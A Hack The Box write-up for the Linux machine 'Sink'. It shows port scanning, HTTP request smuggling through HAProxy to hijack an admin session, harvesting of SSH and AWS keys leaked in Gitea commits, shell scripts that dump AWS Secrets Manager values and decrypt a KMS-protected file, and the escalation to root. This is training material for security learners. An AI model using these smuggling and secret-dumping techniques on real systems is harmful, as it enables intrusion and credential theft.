HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Sink

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.225 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Tue Apr 18 07:04:49 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.225
Nmap scan report for 10.10.10.225
Host is up (0.050s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
5000/tcp open  upnp

# Nmap done at Tue Apr 18 07:05:03 2023 -- 1 IP address (1 host up) scanned in 14.05 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,3000,5000 10.10.10.225 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Tue Apr 18 07:05:32 2023 as: nmap -sCV -p22,3000,5000 -Pn -n -oN targeted 10.10.10.225
Nmap scan report for 10.10.10.225
Host is up (0.036s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=b23ea734fd9f0687; Path=/; HttpOnly
|     Set-Cookie: _csrf=z5UXUXeUmVChNI08vMUj6C7I7fY6MTY4MTgwMTU0MDQ2MzQ5NDQ2NA; Path=/; Expires=Wed, 19 Apr 2023 07:05:40 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 18 Apr 2023 07:05:40 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=65aa67a1dc60f3fb; Path=/; HttpOnly
|     Set-Cookie: _csrf=dPaXbBLBAiTbdTAeG8sf75CzpXg6MTY4MTgwMTU0NTgxMTQ4NTM5MA; Path=/; Expires=Wed, 19 Apr 2023 07:05:45 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 18 Apr 2023 07:05:45 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
5000/tcp open  http    Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=4/18%Time=643E4142%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2943,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=b23ea734fd9f0687;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=z5UXUXeUmVChNI08vMUj6C7
SF:I7fY6MTY4MTgwMTU0MDQ2MzQ5NDQ2NA;\x20Path=/;\x20Expires=Wed,\x2019\x20Ap
SF:r\x202023\x2007:05:40\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEOR
SF:IGIN\r\nDate:\x20Tue,\x2018\x20Apr\x202023\x2007:05:40\x20GMT\r\n\r\n<!
SF:DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x
SF:20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"v
SF:iewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<me
SF:ta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>
SF:\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link
SF:\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-c
SF:redentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\
SF:n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a
SF:\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conten
SF:t=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pai
SF:nless")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(HTTPOptions,206D,"HTTP/1\.0\x20404\x20Not\x20Found\r\
SF:nContent-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en
SF:-US;\x20Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=65
SF:aa67a1dc60f3fb;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=dPaXbBLB
SF:AiTbdTAeG8sf75CzpXg6MTY4MTgwMTU0NTgxMTQ4NTM5MA;\x20Path=/;\x20Expires=W
SF:ed,\x2019\x20Apr\x202023\x2007:05:45\x20GMT;\x20HttpOnly\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Tue,\x2018\x20Apr\x202023\x2007:05:45\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<m
SF:eta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sc
SF:ale=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edg
SF:e\">\n\t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x
SF:20a\x20cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20hre
SF:f=\"/manifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20n
SF:ame=\"theme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"
SF:\x20content=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/
SF:>\n\t<meta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\
SF:x20a\x20c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 18 07:07:04 2023 -- 1 IP address (1 host up) scanned in 92.50 seconds

There are two websites hosted in the server. The one on port 3000 is a Gitea 1.12.6 server.

The other one on port 5000 shows a login page.

Let's register a new user on this last website.

Once logged in, we'll see a Sink DevOps page.

Exploitation

If we take a look at the response headers, we'll the Via: haproxy header.

curl http://10.10.10.225:5000 -I

HTTP/1.1 200 OK
Server: gunicorn/20.0.0
Date: Tue, 18 Apr 2023 15:10:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9648
Via: haproxy
X-Served-By: 07c9fe1b8aea

Intercept the request with BurpSuite, and remove unnecessary request headers.

The vulnerability occurs when the Transfer-Enconding header is sent together with a vertical tab. To insert the vertical tab into the BurpSuite request, echo and base64 encode it.

echo '\x0b' | base64

Cwo=

Then, add the Transfer-Enconding header together with the base64 encoded vertical tab, and base64 decode it with the decoder built-in tool from BurpSuite. We can show non-printable characters to make it more comfortable. Then, we will have to copy and paste the same request above and increment the Content-Length header.

Now, there are two new comments, and the second one has a session cookie different from ours.

Let's change it with the EditThisCookie extension.

If we reload the website, we'll see that we have become admin@sink.htb the user.

Inside the Notes section, we'll see three notes.

The three of them have credentials.

Back to the Gitea server, we'll see that it has a login page. And the credentials for the root user are the only valid ones.

There are four repositories inside.

The Key_Management repository is owned by marcus.

There are a few commits in the repository.

The Preparing for Prod commit shows an SSH private key in the hidden file .keys/dev_keys.

The .keys/dev_keys contains the private SSH key.

Let's copy it into the id_rsa file, and give it the right permissions. Then, log in as marcus, and we'll be able to grab the user flag.

nano id_rsa; chmod 600 id_rsa

ssh -i id_rsa marcus@10.10.10.225

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 18 Apr 2023 04:03:12 PM UTC

  System load:                      0.19
  Usage of /:                       38.2% of 17.59GB
  Memory usage:                     57%
  Swap usage:                       0%
  Processes:                        298
  Users logged in:                  0
  IPv4 address for br-85739d6e29c0: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.225
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:e98a


197 updates can be installed immediately.
115 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jan 27 12:14:16 2021 from 10.10.14.4
marcus@sink:~$ whoami
marcus
marcus@sink:~$ cat user.txt 
8c08168dabfa8d44d0556138ef603118

Privilege Escalation

Back to the Gitea server repositories, the Log_Management repository also has a bunch of commits.

The dev push for log group and stream creation commit contains private keys for AWS.

Using these keys, we could try to list AWS secrets. But first, we need to configure AWS with these keys.

aws configure

AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: eu
Default output format [None]: json

Now, as seen below, there are secrets we can access.

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-RqjKm",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "b4c82f30-37ed-4b86-b0a5-a97cab77deed": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-WEPHu",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "1daafdf6-cdd1-4536-aae9-c61d8b530285": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-XeBXt",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "744038c9-bd45-4208-bfdd-d24aa9dcf8c8": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

We can make a script like the following, which will take the ARN of each secret, and list its content.

nano /tmp/get_secrets.sh

#!/bin/bash

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager list-secrets | grep arn | grep -oP '\".*?\"' | grep -v ARN | tr -d '"' | while read secret; do
        aws --endpoint-url="http://127.0.0.1:4566" secretsmanager get-secret-value --secret-id "$secret"
done

If we run the script, we'll see that each secret has new credentials stored in it.

bash /tmp/get_secrets.sh

{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-RqjKm",
    "Name": "Jenkins Login",
    "VersionId": "b4c82f30-37ed-4b86-b0a5-a97cab77deed",
    "SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1681825870
}
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-WEPHu",
    "Name": "Sink Panel",
    "VersionId": "1daafdf6-cdd1-4536-aae9-c61d8b530285",
    "SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1681825870
}
{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-XeBXt",
    "Name": "Jira Support",
    "VersionId": "744038c9-bd45-4208-bfdd-d24aa9dcf8c8",
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1681825870
}

The credentials for david are the only ones that work.

su david

Password: 
david@sink:/home/marcus$ whoami
david

There is one directory called Projects in his home directory.

ls -l

total 4
drwxr-x--- 3 david david 4096 Dec  2  2020 Projects

This folder contains a file which is encrypted.

ls -lR

Projects/:
total 4
drwxrwx--- 2 david david 4096 Feb  1  2021 Prod_Deployment

Projects/Prod_Deployment:
total 4
-rw-r----- 1 david david 512 Feb  1  2021 servers.enc

We can try to decrypt the file with AWS. But first, we need to reconfigure AWS again.

aws configure

AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: eu
Default output format [None]: json

The following script will take each key stored with aws kms, and it will try to decrypt the servers.enc file using one of the possible encryption algorithms.

nano

#!/bin/bash

algorithms="SYMMETRIC_DEFAULT RSAES_OAEP_SHA_1 RSAES_OAEP_SHA_256"
keys=$(aws kms --endpoint-url="http://127.0.0.1:4566" list-keys | grep KeyId | awk '{print $2}' | tr -d '",')

for algorithm in $algorithms; do
        for key in $keys; do
                aws kms --endpoint-url="http://127.0.0.1:4566" decrypt --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --key-id $key --encryption-algorithm $algorithm
        done
done

Run the script, and we'll get a base64 string.

bash /tmp/get_keys.sh

...
{
    "KeyId": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
    "Plaintext": "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=",
    "EncryptionAlgorithm": "RSAES_OAEP_SHA_256"
}
...

If we take the string, decode it, and put it in a file called content, we'll see that it is a compressed file.

echo 'H4...AAA=' | base64 -d > content

file content

content: gzip compressed data, from Unix, original size modulo 2^32 10240

Let's decompress it.

mv content content.gz

gunzip content.gz

tar xf content

It has the servers.sig servers.yml files. The servers.yml file contains credentials.

cat servers.yml

server:
  listenaddr: ""
  port: 80
  hosts:
    - certs.sink.htb
    - vault.sink.htb
defaultuser:
  name: admin
  pass: _uezduQ!EY5AHfe2

These credentials are valid for the root user. So finally, get a shell as root, and then all we have to do is reap the harvest and take the root flag.

su root

Password: _uezduQ!EY5AHfe2
root@sink:/home/david# whoami
root
root@sink:/home/david# cat /root/root.txt 
e91c64925677c2ed8c544c744c0b9d1b

This is a type of proxy which is vulnerable to HTTP request smuggling or HTTP Desync attacks as we can see . Let's test it out. On the main page, we could leave a comment.

here